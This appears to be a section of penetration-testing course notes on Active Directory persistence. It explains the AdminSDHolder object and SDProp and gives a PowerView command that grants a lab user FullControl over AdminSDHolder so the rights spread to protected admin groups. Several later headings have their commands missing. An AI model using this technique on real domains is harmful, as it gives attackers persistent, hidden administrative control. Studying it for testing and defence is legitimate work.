8.7.1 - AdminSDHolder

AdminSDHolder

  • AdminSDHolder is an object located under the System container in AD. It defines ACLs for high-privilege "protected groups", such as:

    • Domain Admins

    • Enterprise Admins

    • Schema Admins

    • Backup Operators

    • Server Operators

    • and others

  • A system process called SDProp runs every 60 minutes, syncing the ACL of protected group members to match that of the AdminSDHolder.

🎯 Persistence Technique:

Granting permissions to a user on the AdminSDHolder object causes that permission to propagate to all protected groups.

Example: Grant FullControl to student1

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `
                    -PrincipalIdentity student1 `
                    -Rights All `
                    -PrincipalDomain dollarcorp.moneycorp.local `
                    -TargetDomain dollarcorp.moneycorp.local `
                    -Verbose

Alternative (RACE Toolkit):

🔍 Verifying Admin Rights:

Using PowerView:

Or using the AD module:


Abusing AdminSDHolder Permissions

Add to DA group (if you have FullControl)

Reset password (if ResetPassword right is granted)

Write group membership (WriteMembers)

Labs

Last updated